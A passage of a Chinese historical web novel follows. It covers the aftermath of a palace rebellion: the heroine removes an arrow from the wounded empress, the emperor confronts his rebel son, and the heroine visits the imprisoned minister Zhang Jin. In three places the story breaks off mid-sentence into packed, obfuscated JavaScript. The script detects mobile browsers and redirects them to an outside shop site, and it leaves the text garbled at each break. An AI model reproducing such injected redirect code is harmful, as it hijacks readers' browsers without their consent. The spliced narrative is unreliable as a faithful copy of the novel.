西洲侯的副将眼见世子一箭不中后没有任何反应,反而束手就擒,蹙眉抬手道:“给我冲!击杀泰安帝者赏金千两!” “冲啊——”冲锋的嚎叫声此起彼伏。 萧雷与卢康指挥着仅剩的四百余人抵抗,一步一步退至殿门外的台阶处。 眼看无路可退,章麓一把甩开西洲侯,提刀上前,冲入人群之中,心中默念,双竹啊双竹,你若再不来,明年可就要连带我一起祭拜了! 突然一阵箭雨落下,西延军瞬间被击杀三成,众人惊慌失措向后看去,只见一身着暗紫色长袍的男子骑着汗血宝马,手持长戟从禁中大门冲杀进来。 而他的身后,则是身着玄铁甲胄的秦川军! 张锦站在殿中,蹙眉望去,他不可置信的问道:“秦川军的驻地离这里有八十里之遥,他们怎么来的?” “自然是走过来的!”章麓扬声解惑:“早在三日前便到了,只是一直藏在西郊大营罢了。” 张锦猛的看向泰安帝:“原来陛下早就知道……” “不然你以为全天下就你最聪明,其他人都是傻子?” “陛下!必须立刻给皇后娘娘拔箭,否则就是华佗在世,也就不回来了!”刚刚为皇后施针稳固心脉的太医院院正徐光茂满头大汗。 “救她,求你救她!”李鹤霖的声音颤抖。 章麓给了双竹一个眼神,后者意会,当即开始清场。 章麓则走到李鹤霖身边按住他的肩膀,然后跪在已经被平放在地上的皇后身边,冷静且坚定的看向徐太医:“我来拔!徐太医只需告知我如何做便是。” “箭矢扎得太深,且位置靠近心脏,若是手不稳,极为容易刮伤脏器和经脉。”徐太医行医三十七载,都不敢保证有十成把握,章麓一个小姑娘真的行吗? 章麓看向已经不知所措的李鹤霖,坚定道:“我可以!” 闻言,徐太医不再犹豫,拿出薄如蝉翼的小刀和止血散递给章麓:“先解皇后衣物,然后将箭顺着刺入的方向拔出,必须要快!” 说罢,他退后两步背过身去,而章麓眼疾手快的迅速拆解皇后胸口处的衣物,在狰狞的伤口露出的一瞬间,毫不犹豫的直接将箭拔了出来! 鲜红的血液瞬间从伤口处涌出,章麓拨开药瓶的瓶塞,不要钱的将止血散倾倒在伤口之上,一连撒了四瓶才将血止住。 徐太医听到动静,道:“用参汤吊住气,只需一钱便可,多了反而虚不受补,还请陛下命人收拾暖阁出来,让小女为皇后娘娘缝合伤口。” 泰安帝:“去收拾芳华阁!命令所有宫女内侍在芳华阁外待命!任何人胆敢善离,杀无赦!” 芳华阁在鸿胪殿西南角,本是用于冬日招待外邦使者的暖阁,如今倒是正好可以安排皇后娘娘暂住。 至于高句丽使团去哪儿,那就是鸿胪寺的人去考虑的事情了。 待泰安帝归来,鸿胪殿内已经被肃清一空,程卫昭和李谨焕被捆着压在芳华阁外,当着数千宫女与内侍的面,狼狈的跪在了阁外的空地上。 泰安帝一个巴掌狠狠甩在李谨焕的脸上,恨铁不成钢的怒吼道:“我曾以为你只是因为缺父爱,对母亲多有依赖,所以才会对她言听计从!如今看来,你不过就是个任人摆布的傀儡!一点自己的想法都没有!半点抗争精神都没有!你若真的不想反,真的不认同他们的话,难不成他们还能逼着你去干吗!” 李谨焕爬在地上,嘴角被刮破渗出了血,他脑子嗡嗡嗡得响,却还是将泰安帝说出的每一个字都听了个清楚。 他畏惧的低头看着青石板,呢喃道:“就算我是个傀儡,就算我摇摆不定,那也是您让我变成这样的!” 眼泪一滴滴落在青石板上,阴湿出一个又一个圆点:“从小到大,你总是将希望寄托在三哥身上,无论做什么,你只会夸奖他,我却除了叹息,什么都得不到。小时候我也不想怀疑,可是失望的次数太多了,母亲又总说您偏心,我就忍不住会去想,是不是您真的不爱我,只爱三哥,所以无论我做得有多好,多完美,您都不会施舍一个眼神,一次夸赞?后来,大哥战死,您伤心欲绝,对三哥更是寄予厚望,对我便更是漠视。我便不再对您有任何奢望了,母亲让做什么便做什么,至少还能在她哪里得些夸奖,如此随波逐流的过日子,倒是也挺不错的。母亲和舅舅想要叛乱,那就叛吧,最坏也不过就是一死。” 泰安帝捂着胸口,痛心疾首道:“我叹息,是因为你做事畏首畏尾!瞻前顾后!你十二岁的时候,我让你和老四一起随陈冠去夷陵找黎氏借粮,出发前我提醒过你们,夷陵黎氏乃是从永安伯分出来的,我们有虞庆侯的书信,不会遇到任何阻挠,即便有,也不过是问你们些朝政实事,毕竟永安伯府是开国伯府,夷陵黎氏的族长与上一任永安伯是一母同胞的嫡亲兄弟,现任永安伯的亲大伯,终归会有所顾忌,怕牵连到自己的侄子,你们尽管说出自己的想法就是。” “可你是怎么做的?黎万元不过是问了一句太子与牧王何人更适合做皇帝,你就吓得不敢吱声,甚至连第二日的接风宴都不敢去,在夷陵呆了三天,你便在驿站将自己关在房里了三天!可你有没有思考过当时老四给出的答案?若你真的思考过,便不会有今日!” 李谨焕怔怔的看向地面,呢喃道:“为君者犹盂也,民犹水也。盂方水方,盂圆水圆。太子奢靡,朝臣仿之,国库空虚,兵简民穷。牧王心善,却优柔寡断,虽说小不忍则乱大谋,但他忍得太多也太过,手下的人便也随他一般照前顾后,这样的人容易被左右。” 泰安帝神色复杂:“你竟一字不差的都还记得。” 他深深的叹息了一声:“你自小便有过目不忘之能,但凡看过的书都一字不漏的背下来,可你从来只会背,不会去探究背后的深意。我知道你每次都希望得到我的夸赞,但是我不能总在这种事情上夸赞你,一夸你就会拼命的在这一点上努力,根本没想过再向前一步,总是待在自己最舒适的地方。如果任由你如此下去,你早晚会被毁掉。” 李谨焕诧异的抬起头,看向泰安帝:“父皇……” 泰安帝闭上双眼,心中悲凉:“可如今,你还是被毁了……” “对不起……” 李谨焕重重的低下头,再也没有抬起过。 泰安帝转头看向挺直脊背跪在地上的程卫昭,眸光流露出可惜:“你不是被西洲侯的属下绑起来了吗?为何会出现在殿前?” 程卫昭诧异:“陛下知道?” “呵,看来真的没人想过,为什么宫宴的时候,刘贤和龙鳞卫不在朕的身边。或者说,在秋山宫变之前,从来没人知道朕的身边还有这样一群人。” “陛下既知道,又何必多此一问?” 泰安帝垂眸:“朕只是……算了,事已至此朕还能说什么。你此番行为势同谋,死罪不可免,你可有心愿?” “罪臣想请陛下做主,准罪臣母亲与西洲侯和离。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518682|130007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “朕记得你母亲早已过世,如今和离又有何意义?” 程卫昭:“陛下,我父亲这个人向来自私自利,他若真的想我活,便不会掀起叛乱,就像当年娶我母亲,就只是为了她身后的万贯家财,根本不在意我母亲是否愿意嫁给她,是否想要过富贵生活。” 他自嘲一声:“哪儿有什么富贵生活,他娶了我母亲之后,便杀了我外祖父,得了祖父全部的财产,施恩一般给了旁支一些散碎银子。逼得他们离开了中原,改做‘凤’姓在吐谷浑定居。” “然后,他利用祖父家在陆运上的实力,为自己敛财、招兵买马,却在搭上您之后果断杀了母亲,想要续娶您最小的妹妹安宁长公主,可惜的是,安宁长公主福薄命浅,病殁在邓州。他的如意算盘散了架,就只能待价而沽,最后将他妹妹嫁给了您。” 程卫昭深吸一口气,仰头看天:“他死不要紧,可母亲若是被他连累名声有损,我岂不是愧对她的养育之恩!母亲生前被受尽他的折辱,我绝不能在她死后,还要因为他的罪过被挫骨扬灰!” 泰安帝:“只有这个?” “是!我拼死拼活的挣军功,就是想有一天能封侯拜相,彻底拜托西洲侯!用功名换一个恩典,让我母亲与西洲侯恩断义绝!再不受他带累!” 泰安帝看了眼神色悲愤的程卫昭,心情复杂,道:“朕准了。” “谢陛下!” 泰安帝怜悯的看向他,心知这也是他的失误,竟没想过西洲侯如此狠心,连亲子都能当做筹码。 直到太医前来禀明皇后情况,才背过身,负手而立:“拉下去,关进诏狱。” 景和宫内,李谨明匆匆走进来时,景贵妃正在佛龛前焚香跪拜。 “母妃!” 景贵妃回过头,从容的站起身问道:“皇后如何?” “徐院判说,夜晚很可能发高热,若是未来三日内能扛过高热便不会有大碍。”李谨明道。 景贵妃双手合十轻触眉心:“那便好,那便好。” 李谨明倒了杯冷茶一口气灌进肚子:“母妃,父皇命我统领三司彻查与淮南王有牵连的京都官员,还有与西洲侯勾结的叛党,未来几日怕是没时间回宫陪您了。” 景贵妃握住儿子的手:“没关系,你尽管放手去做,无需担心我。你父皇将如此重大的责任交于你,便是看重,无论如何都要将差事办得漂亮。遇到问题不要畏惧,不要迷茫,若是有不明白的尽管去问你舅舅。你要记住,你背后有琅琊王氏为你撑腰,不要怕得罪朝臣。” “儿臣明白。” * 黎明时分,皇后的情况终于稳定,李鹤霖颓丧的靠坐在拔步床便,目光呆滞。 章麓伸手覆上他带着胡渣的面颊,轻声道:“皇后娘娘不会有事的,她那么爱你,又怎么会舍得抛下你呢?” 李鹤霖抬眸看向她,这样一个坚毅的人,此刻却苍白如纸,脆弱得仿佛轻轻一扯就能撕碎。 “我六岁的时候父亲从岳州起义,一路攻破荆州、襄阳、南丰,后又败退至陈州。我母亲一直带着我东躲西藏,六年的时间,我看过无数的人间惨像、用人皮制成的灯笼,用人骨熬成的汤,世族怎么都能活着,可平民却连生门都摸不到。” “那时候,我日日都在幻想着,等我爹推翻朝廷,改弦更张,我就要去肃清这天下所有的不平,斩尽天下所有的贪官污吏,我要让每一个人都吃饱穿暖,海清河晏。” “可是,如今她却因为我的过失,躺在床上奄奄一息。她生我养我,却因我饱受苦难!”李鹤霖的双眼迷茫,声音颤抖:“我是不是真的做错了,我不应该去激怒那些世家,我应该像张锦那样,徐徐图之……” 他将头埋进双臂之间,声音充满了无助:“可我不甘心!我一刻都等不了!我八岁的时候,在米缸下的地窖里,亲耳听见那些追捕我和母亲的人,将好心的阿婆阿公抓走!我听见他们女儿的惨叫,那些兵痞的嬉笑!我和母亲一路都在逃,看见地方官吏在村子里抓青壮年充军;看见活不下去的百姓纠集起来,冲进豪绅的家里□□掠;看见交不起税粮的人被抓起来挂在村口的牌楼上。我见了太多太多了,曾经我以为父亲是正义的一方,是救万民于水火的大英雄。可是,我却没想过,如果不是父亲起义掀起了战乱,那些百姓或许过得不会那么苦,或许……” “不是的!”章麓打断他的话:“不要怀疑自己的初心,凡是都有两面,人被压迫得太久太狠,必定会站起来反抗,即便不是陛下,也会是别人!就算不反抗也不会过得更好,不在沉默中爆发,便在沉默中消亡!你没有错,在平原郡,在莱青郡,在面对豫商面对淮南王,面对那些受苦的百姓的时候,你从来就没有做错任何事!是他们执迷不悟,是他们欲壑难填,是他们放不下手中的权利与财富,偏要天下所有人都孝敬他们才觉得好!人心只要有恶便会报复,他们不会管被报复的人是善是恶,他们只在乎自己。” 章麓握紧他冰冷的双手,目光坚定而温暖:“你跟他们不一样,你是个善良的人,你想要他们过得好,你去做了。那些没有做或者做不到的人,只会酸你的成功,挑你的毛病,这样以来,他们心中才会感到安慰,才会骗自己,不是自己不够好,不是自己太怯懦,而是这件事就没人能够办到。你不要被这些谎言扰乱心神,坚定自己的路,走下去!那些被你拉回岸上的人会感谢你,时间会将你牢牢映刻在历史的长河之中。” 李鹤霖看向她,扯出一抹难看的笑。 章麓知道他现在因为慌乱,陷入了深深的自我怀疑,这种怀疑不是一两句话便能抚平的。她遥望着窗外微亮的天色,道:“我得快些回家去,爹娘定然非常担忧,你在宫里好好呆着,不要胡思乱想,无论发生什么我都会陪着你,明白吗?” 李鹤霖一把抱住章麓,头窝在她的颈肩,温热的泪水顺着脖颈往下流,章麓轻轻拍着他的背,就像母亲拍着襁褓中的婴儿:“那些叛党都还在狱中等待宣判,你若就此倒下,才是真的如了他们的意。” “我知道。袅袅,谢谢你。” 126. 第 126 章 等到章麓回到虞庆侯府,早已过了朝食。 虞庆侯一大早便出门去了,应当是为了叛军的事情。只虞庆侯夫人一人坐在正屋里,对着一桌子精美的饭菜心神不宁。 主院的嬷嬷遥遥望着院门口,一见章麓跨进来,便激动的朝主屋喊到:“夫人,姑娘回来了!” 虞庆侯夫人腾得一下站了起来,快步走出屋门:“谢天谢地,可算是回来了!” 章麓一进门,就被扑面而来的凉气冻了一下,道:“怎么不烧碳炉?天气渐凉,母亲素有腿疼的毛病,还是要注意些。” “我现在哪儿有心情在意这些,心焦的时候还是凉些才能不燥。”虞庆侯夫人拉着章麓坐在四方桌旁,心疼道:“可用饭了?快吃些,瞧瞧你眼下这黑青,一晚上都没睡吧?吃了朝食好好睡一觉,未来这几日怕是要变天了,得养足了精神才好应对。” 章麓简单吃了几口,道:“母亲也要好好休息才是,父亲这几日恐怕没时间回来,如今朝中风雨飘摇,人人自危,您就呆在府上哪里都不要去,任何人递帖子来您就称病不见,不要怕得罪人日后不好见面。如今没了西洲侯,十道节度使中便属父亲最为招眼,总有人不甘寂寞想要拉咱们垫背,断不可在这个节骨眼上为虞庆侯府招风。” 虞庆侯夫人点头:“这点道理母亲还是懂的,就是不知道你舅母那里会不会遇到麻烦。你也知晓你舅母的心性,向来是个心软的,凡事只会往坏处想,整日里忧思过重,真怕她一个想不明白着了谁的道。” “母亲放心,昨日出事后,我便让双竹去了舅舅家,舅舅和表哥都是七窍玲珑心,自是管住舅母的。”章麓揉了揉突突的额角,勉强打起精神道:“女儿先回去睡会儿。” “快去休息吧!” 回到自己的院子,章麓将外衫一扒甩在屏风上,直接合衣往上床一趟,卷着被子往床内侧一滚,连洗漱的力气都没有,直接合眼入睡。 昏沉间,突然感觉自己被人抱住,她一个激灵,抬脚便踹,结果被对方的用双腿夹住,双臂也箍得更用力了些。 “是我。”李鹤霖沙哑的声音从脑后传来。 章麓原本紧绷的身体瞬间放松下来,惊讶道:“你怎么出宫了?皇后如何?” “你走之后就烧起来了,刚刚暂时退烧,我爹偏要自己守着娘亲,便把我赶出来。我不想回淳王府,就来找你了。”李鹤霖的声音低沉暗哑,充满了疲惫与不安。 章麓被他隔着被子抱着动弹不得,看不见他的表情,只能继续维持面壁思过的姿势,看着红木床架眨了眨眼,问道:“你怎么进来的?正门?” “翻墙。” “……” 你当我家的侍卫都是摆设? 章麓心中叹息,云逸肯定发现他了,且之前就得过母亲的话,要不然根本不会放他进来。 “你……” “陪我休息一会儿吧,我有点累了。”李鹤霖抱着章麓的手没有松,头抵在章麓脖颈处的被子上,这轻柔的撞击力,让章麓的心颤了颤。 “好。” 李鹤霖满足的笑了笑,他神色倦怠的阖上眼皮,从宫中出来纵马奔向她,已然用尽了他剩余的所有力气,但他依旧要等着章麓的呼吸平缓后,才肯放松心神入梦。 然而,他辅一入梦便感觉到怀中之人动了一下。 他猛的睁开双眼,黑暗中,他那双眼眸宛若装着无数魑魅魍魉,幽暗得可怕。带他确认章麓确实在怀里,也确实睡着了,才终于安心。任由周公将手覆上他的眼皮,令困乏铺天盖地的将他淹没。 梦里,他仿佛回到了梦中的那个院子,看见母后在厨房为他做新鲜的绿豆糕,灶台上的酱肉包已经蒸好,他掀开锅盖,浓郁的肉香便扑面而来。 他不顾包子的滚烫,快速拿了一个丢进碗里,一手端着碗,一手捏着耳垂跑出了厨房。兴高采烈的跑向院子,那里有红花绿树,有一个刚刚嫁给自己的袅袅坐在石头上正等着他。 我想要你的陪伴,无关风月,唯有心安。 * 皇后反复高热了三日才彻底退去,朝中明面上平静似水,实则暗流涌动。 金吾卫大将军换上了一个姓曲的生面孔,听闻曾是江南道节度使的部将,上过战场,立过不少军功,后来在定襄郡做司马。 千牛卫大将军则是尚书右仆射王相权举荐的人,原是在东都洛阳做禁卫大将军,六王之乱时妻儿被叛军所杀,一直到现在都没续娶,如今人还未入长安,就有不少人盯着新赐下的千牛卫大将军府了。 中书令张锦因涉三州贪污案、漕运案、人口贩卖案,加上与西洲侯同谋,被关进了诏狱,其家眷则被暂时羁押在了大理寺,奴仆由官牙暂时看管。原本热闹喧嚣的中书令府,如今被贴上了封条,府上无论主子还是下人的命运都被悬在了刀刃之上。 还有光禄寺少卿、鸿胪寺少监、台院御史、殿中侍御史、互市监、大理寺司直、千牛备身、武库署丞、左右千牛卫诸曹参军、尚药局司医、长安县尉等等共计七十六人被牵连在内,其中二十一人被收押在大理寺,其余人则被调离京城,去往偏远州郡任职。 章麓坐在屋里为李鹤霖的伤口换药:“再次裂开的地方也已经结痂了,往后至少一个月内都不能再动武。我知道你想瞒着皇后娘娘你受伤的事,但是伤筋动骨一百天,你日日在她床前照顾,总会被发现端倪,与其让她担忧猜测,不如直接坦诚。” 李鹤霖穿上里衣,将章麓抱到自己的大腿上坐好,头埋在对方颈肩喃喃道:“知道了。” 章麓顺着摸了摸李鹤霖头顶的发丝,道:“如今皇后度过危险,明日陛下便要重新上朝了,应当会重提咱们在登州的事。到时候无论那帮御史说什么,你只当听不见,切勿冲动。” “放心,我早就不是以前那个只凭一腔热忱做事的莽汉了,我知道怎么和他们周璇。”李鹤霖吻了吻章麓纤细的脖颈:“我还要带你去鄯州,亲眼瞧着你报仇雪恨。” 章麓微微笑着,拍了拍他环在自己腰间的手:“快回宫去吧,娘娘刚醒,正是虚弱的时候。” 李鹤霖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李鹤霖蹲不下身,便让萧雷他们将人都扶起来,道:“我只是做了上位者应做的事,感谢各位不远万里来长安为我请命。父皇已下旨令户部为各位提供回家的路费,若是不愿意回去想在长安安家落户,也可去两县县衙报备,在朝廷的坊驿做满三年后,便可落户长安。” 平静的人群顿时起了波澜,他们惊喜的高呼陛下万岁! 在刚入长安的时候,他们也担忧过,若是案子迟迟不判,在长安若是找不到做活,岂不是要活活饿死。毕竟历史上从没有千里送万民伞的事迹。 谁知道,刚进入长安之后,便被金吾卫中郎将亲自接待,护送他们持万民伞入宫。还安排他们去大工坊做工,月钱丰厚的不敢想象。还给了他们落脚的住所,让他们不需要去善堂与老弱妇孤寡挤在一处。 只是听闻那年轻的金吾卫中郎将因为叛乱被抓,也不知道这般神仙相貌的人儿,为什么要想不开造反呢。 虞庆侯府内,章麓正在练功,晴放匆匆跨进院子,道:“姑娘,大理寺送来帖子,说是罪臣张锦想要见您。” “见我?” “对!陛下已经恩准,听说张……罪臣张锦的身体不大好了。” 127. 第 127 章 诏狱在掖庭宫北侧,临近芳林门,向来是羁押范重罪的官员的地方。 相比大理寺和刑部牢狱,倒是宽敞干净的多。 章麓将帏帽交给晴放,独自一人进入诏狱大门,走向了最深处的那间牢房。 铁牢内,张锦正用笔在纸上写着什么,他听见哗啦啦的锁链声响起,抬头望去,便见一身靛青素衣、玉冠束发的章麓走了进来。 他站起身,恭敬行礼:“见过郡主。” “张大人不必多礼,不知张大人找我来所为何事?” 章麓对张锦的感官是极为复杂的。 她知道先下朝廷实行的新政皆出自他手,每一道都是惠民利民的好政策,于朝廷来讲他是肱骨之臣;可他又放任自己的亲弟弟与族人,在地方作威作福,对他们做得那些生意视而不见听而不闻,后来又与西洲侯搅在一起,虽不算明面上支持地方,却也为其行了方便,于陛下而言,他又是叛党,是奸佞。 张锦道:“罪臣自知命不久矣,此番请见郡主是有一事相求。” “您尽管说。” “罪臣所犯之事,当杀,然,犬子张骁实乃无辜,罪臣请求郡主殿下,能替犬子在陛下面前陈情,求陛下开恩,赦免犬子死罪!”张锦低着头,让人看不清他的表情,但从他的言语中,章麓能感觉到他骨子里的傲气已然存在。 “凭什么?” 张锦抬起头:“凭犬子是大晋目前唯一能再走丝绸之路的人!” 章麓与张锦直直对视,却窥不见对方半点心虚。 她问:“何出此言?” “犬子好地理水文,善辨器物,晓八国之语,无论中原还是番邦,他从书中窥世界,从器物晓天下,从游商杂谈解析万物。就连鸿胪寺丞那个老学究都打不到这种境地,所以当下大晋无人能望其项背,唯他最适合重走丝绸之路!”张锦说得有理有据,且字字直击内心,听得章麓热血沸腾,不由想起当年建立千金城的最终目的。 但她不喜欢被别人牵着的鼻子走,面上表现得毫无兴趣:“那又如何?当下并不急于与其他外邦往来,待五年、十年后,未必没有第二个适合的人才。” “真的没有吗?郡主自幼追随虞庆侯抵御外邦侵袭,又在千金城建立后与商人打交道,怎么会不知道当下的局势?凡冠带之国,舟车之所通,不用象译狄鞮(di一声),方三千里。古之王者,择天下之中而立国,择国之中而立宫,择宫之中而立庙。天子之地,方千里以为国,所以极治任也。[1]” 章麓眉心动了动:“所以呢?” “我朝真的安稳吗?战国时九州方三千里,汉朝时九州方五千里,汉末三国时九州方万里,可之后呢?直到前朝,也就只有这万里!前朝太康帝为什么迁都洛阳?因为他们怕!长安以西便是吐谷浑,吐谷浑善骑射攻城,十个回纥捏起来都比不过他们一个!若吐谷浑铁骑直破河州便能直捣长安!如今淮南王送百万金银入吐谷浑,焉知早已养虎为患!若不重走丝绸之路交流文化,提升国之远见,建立邦交互助,吐谷浑踏平大梁指日可待。” 章麓:“可这不仅仅是重走丝绸之路便能解决的。” 张锦拱手道:“臣自然知晓,所以臣才要请见郡主。如今我朝能与吐谷浑一战的将领,除了虞庆侯绝无他想,我朝需要先以武力震慑吐谷浑,才能有机会重走丝绸之路。” 他看向章麓,目光灼灼:“臣虽是文官,却也知晓军中事。《太史公自序》道:萧何次律令,韩信申军法,张苍为章程,叔孙通定礼仪。虞庆侯、黄元文、蒋昌伯、陆广川,便是如此。因而章氏一族能守平卢、朔方、幽云十六州百年,固若金汤,哪怕朝代更迭依旧稳若磐石。” “臣有过错,自甘受罚,只可惜臣有万里宏图却再也无法表达,惟愿犬子能在将来,继续为朝廷效力。助我大梁,天下称王。” 张锦的每一句话都荡气回肠,章麓直到骑上马走在回府的路上,耳畔都在不住的回想张锦说过的每一句话。 章麓没有说答应或者不答应,在她离开前,张锦问道:“郡主觉得,这天下是何人的天下?” “天下人的天下……” 张锦摇头:“这是大同世界,是理想天下,并非现实。现实是,人分三六九等,上位者能轻易拿捏下位者的生死,下位者反抗也是为了成为上位者。公平从来不存在于这个世间,这天下只是上位者的天下。” “你为什么要帮西洲侯?”章麓很好奇。 张锦叹息道:“我并不是在帮西洲侯,我只是在帮我自己。我那不成器的弟弟在外以我的名义大肆敛财,做尽坏事,待我发现时已经晚了。他是我母亲拼死拼活生下来的,母亲临死前一再嘱咐我要照顾好他,我不能眼睁睁的看着他去死。” “案子爆发是必然的,我早已做好了准备,却没想到会因为淳王殿下的刀斩贪官,打乱了我的计划,也让报应而来得如此之快。”张锦仰着头,透过顶上的小窗看着外面蔚蓝的天空:“我不能死,我还有很多事情没有做,很多新政没有实施。加上淳王太过嫉恶如仇,容不得这天下有半点污糟,这样的人可做枭雄却不适合做帝王。” “难道西洲侯就适合?” 张锦摇头:“他也不适合,但他的儿子确实是个人才,拥有绝对理智的人,知道自己要什么,也懂得平衡利弊,不会像淳王一样被情绪左右,一意孤行。他知道自己该做什么不该做什么,知道什么时候做什么事合适,这样的人推行新政才是最保险的。” “可他是西洲侯的儿子。”章麓点出事实。 张锦沉默了片刻,道:“他只是生不逢时。” 章麓笑了笑,道:“输了就是输了,哪儿有那么多理由。” “姑娘,姑娘!” 章麓被请晴放的喊声惊得回了神,她四处望了望,发现自己正骑马走在一条陌生的街道上,连忙问身侧的晴放:“这是哪里?” “成辉坊的南园大街。”晴放道。 章麓拍了下自己的脑袋,道:“我需要去趟中书令府。” 中书令府在成辉坊西南的柳叶巷子,此刻府门前有金吾卫把守,周围围着不少百姓,都在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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章麓看了一眼吏部尚书,她对这人印象不深,就记得德州闹雪灾的时候,聚粹轩的胡老板跟她念叨过,吏部尚书家里的夫人凶悍,不允许他纳妾,他便在号称‘妾巷’的晋昌坊轮子巷置了一房外室,见天的从聚粹轩买东西往那头送,也不知道哪儿来的这么多钱。 当时她只从父亲那里了解到,德州刺史是他举荐上来的,在德州出事后在明德殿负荆请罪,是个相当有‘魄力’且识时务的人。 这样的人在章麓眼中只代表着‘圆滑’与‘世故’。 她认真道:“抛开张锦与案子的勾连不谈,单说他所拟定的新法,乃是经过内阁商讨反复修改过后才推行天下的,按照这位大人所说,因张锦落罪,便要一杆子打翻一船人,将内阁十几位大人的努力全部否定,是否太过草率?” 吏部尚书梗着脖子说到:“章姑娘难不成是在为张锦开脱?主笔之人造反,其定下的新法若不禁止,岂不是让全天下的百姓效仿?” “就事论事罢了,大人急什么?”章麓笑得颇为温和:“这新法哪一条写着他的名字?就连颁布都属得尚书左右仆射二位大人的名字,盖的三省的印章,哪里就与张锦有关了?” [1](吕氏春秋·审分览·慎势篇) 128. 第 128 章 吏部尚书一噎,一时半刻竟找不到反驳的理由,只能冷哼一声扭过头去。 王相权捋了捋胡须,做了一回和事佬:“这《赋税新策》是郡主从张锦手中拿来的,想必没其他人见过,就算可行,将来也不会有人知道这是张锦所书。当然,也不排除有人将这件事捅出去,你说对吧?徐海大人?” 吏部尚书徐海能将自己从德州案中摘干净,自然聪明,他马上就明白这是王相权在警告自己。即便心中对虞庆侯多有不满,但也不敢继续抓着这件事不放,只能故作沉稳的点头附和。 泰安帝看向章麓,不由想到张锦那个人,他了解对方,不会单纯为了一个新策就请见一个位高权重之臣的女儿,还是唯一太子人选的皇妃。 他问道:“张锦还有别的话要说?” 章麓点头道:“是,他有个请求想托臣女乞求陛下。”她将张锦的话一字不漏的复述给了泰安帝。 然而泰安帝还没开口,吏部尚书徐海便气哼哼的斥道:“造反乃是诛九族的大罪!其实他一句话就能免了的?陛下!您绝不能就此心软!如今新朝初立,内忧外患不断,哪里还有银钱重走丝绸之路!简直是天方夜谭!这一定是他的心机手段!想要为他张氏留下香火!陛下断断不可上了他的全套。” 章麓挑眉道:“徐大人,这就是以己度人了,也不是所有人都像您那般那么在乎香火。” “放肆!我乃朝廷三品职事官,你一届白身还是女流之辈,怎敢如此污蔑朝中重臣!”徐海怒道。 章麓不慌不忙道:“我既然敢说自然是有证据,徐大人的正室夫人给大人生了两个女儿,虽然容貌普通但善诗词,多次拔得春日宴文斗魁首。” 说到这里,章麓看见徐海挺了挺腰板,一副与有荣焉的模样,嘴角微勾继续道:“可尊夫人生二女儿的时候,亏损了身子不宜再孕,您便想要纳妾生子,因为您和您的母亲都希望有个儿子承袭香火。” 徐海心中一惊,怒斥道:“休得胡说!” “我是不是胡说,容金吾卫领着台院的二十位御史,去晋昌坊的轮子巷甲三号院子瞧瞧便知。一对男双胞胎呢,如今都六岁了,长得与徐大人简直可以说是一个模子里刻出来的。” 此话一落,石破天惊。 徐海攥紧了拳头、红着脸梗着脖子怒斥道:“小姑娘家家胡言乱语!如此行径怎堪为淳王妃!陛下!臣绝没有在外置办外室!求陛下明鉴!” 章麓眨了眨眼,无辜道:“徐大人,我没说那是你的外室啊,您不是有个弟弟吗?我记得您的母亲好像在猎宫的时候,在一众命妇面前,提过要过继他的儿子在您的名下来着,那对双胞胎……” “对!那是我弟弟的儿子!不是我的!”徐海急忙道。 可是,哪儿还有人信呢? 泰安帝冷笑:“孟德才,去传御史侍中!” “是!” “陛下!”徐海哀嚎道。 泰安帝懒得理他,反而看向章麓:“你怎么知道这事儿的?” 章麓恭敬道:“陛下知道大通商号乃是臣女借永安伯的人脉经营的产业,聚粹轩的老板胡子福曾于大伯父有恩,在千金城落成后,便将聚粹轩挂在大同商号名下,平日借着与回纥通商的便利,帮父亲打探回纥的消息。” “前几日臣女与淳王殿下在王府养伤的时候,有人给聚粹轩递话,明里暗里都在说这件事,胡子福便留了心,查账发现徐海大人每次在聚粹轩买了珍宝,都送去了安善坊的一处宅子。臣女将这事告诉了淳王殿下,殿下便让人去跟了一下,发现徐海大人买的东西会再由宅子里派人送往晋昌坊的轮子巷甲三院子。” “臣女便让身边的丫头晴放去打听了,徐海大人每月十五和十六日便会在那里留宿,而打的旗号是替母亲去大相国寺祈福。” 来龙去脉环环相扣,无一有错,徐海彻底颓丧下来,他不甘心的上眼药:“章姑娘还真是神通广大,陛下都不知道的事情,你竟然都能探听得一清二楚,想必虞庆侯只会比你更厉害吧。” 章麓道:“你不必挑拨离间,早在回京那天,大同商号和千金城的令牌就已交给陛下,陛下才是他们的主子。待我报了杀兄屠城之仇,自然会切割干净。” 陛下竟然早就知道章麓的身份!怪不得!徐海自嘲的笑了两声,不再言语。 泰安帝看向他,道:“朕还没说要罚你呢,先起来。” “谢陛下。”徐海悬着的心落下半分,战战兢兢的站起来。 泰安帝问章麓:“对于张锦的提议,你有什么想法?” 章麓道:“自汉朝建都长安,便一直处于北方匈奴的威胁之下。《汉书·西域传》有云:‘西域以孝武(刘彻)时始通,本三十六国,气候稍分至五十余,皆在匈奴之西,乌孙之南,南北有搭讪,中央有河,东西六千余里。东则接汉,阨以玉门、阳关,西则限以葱岭。’正是有了汉朝的拓荒之行,才有了之后历朝历代对西戎人的管理。如今陛下立国于关中,那么守河西而拓西域便是必然且极为必要的。” 王相权道:“臣也如此认为,欲保秦陇,必固河西,欲固河西,必斥西域。前朝对西域属于管理与防范,给了他们膨胀野心和实力的机会。若是我们再不给予威慑,日后必免不了一战。到那时才是真正的民不聊生。” “这与重走丝绸之路又有何关系?”徐海问道。 